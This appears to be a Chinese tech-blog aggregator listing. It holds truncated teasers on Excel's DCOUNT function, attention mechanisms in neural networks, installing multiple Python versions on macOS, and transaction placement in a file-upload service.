描述 DCOUNT函数返回包含与您指定条件匹配的列表或数据库的列中的数字的单元格的计数。 语法 DCOUNT (database, field, criteria)争论 Argument描述Required/Optionaldatabase 组成列表或数据库的单元格范围。 数据库是相关数据的列表,其中相关信息的行是记录,数据的列是…

各类注意力机制Attention——可变形注意力

目录 《Attention is all you need 》稀疏Attention残差Attention通道注意力空间注意力时间注意力可变形注意力 《Attention is all you need 》 稀疏Attention 残差Attention 通道注意力 空间注意力 时间注意力 实际上序列类任务也属于时间注意力&#xff0c;比如transformer…

如何在mac上安装多版本python并配置PATH

摘要 mac 默认安装的python是 python3&#xff0c;但是如果我们需要其他python版本时&#xff0c;该怎么办呢&#xff1f; 例如&#xff1a;需要python2 版本&#xff0c;如果使用homebrew安装会提示没有python2。同时使用python --version 会发现commond not found。 所以本…

事务的优化

例子&#xff1a; 举例&#xff1a;假设我们有一个文件上传的uploadFile方法&#xff0c;在这个方法中我们会先执行上传一个文件到分布式文件系统中的方法addMediaFilesToMinIO( )&#xff0c;上传成功后执行文件资源数据入库的addMediaFilesToDb( ),那么这个时候事务应该加在哪…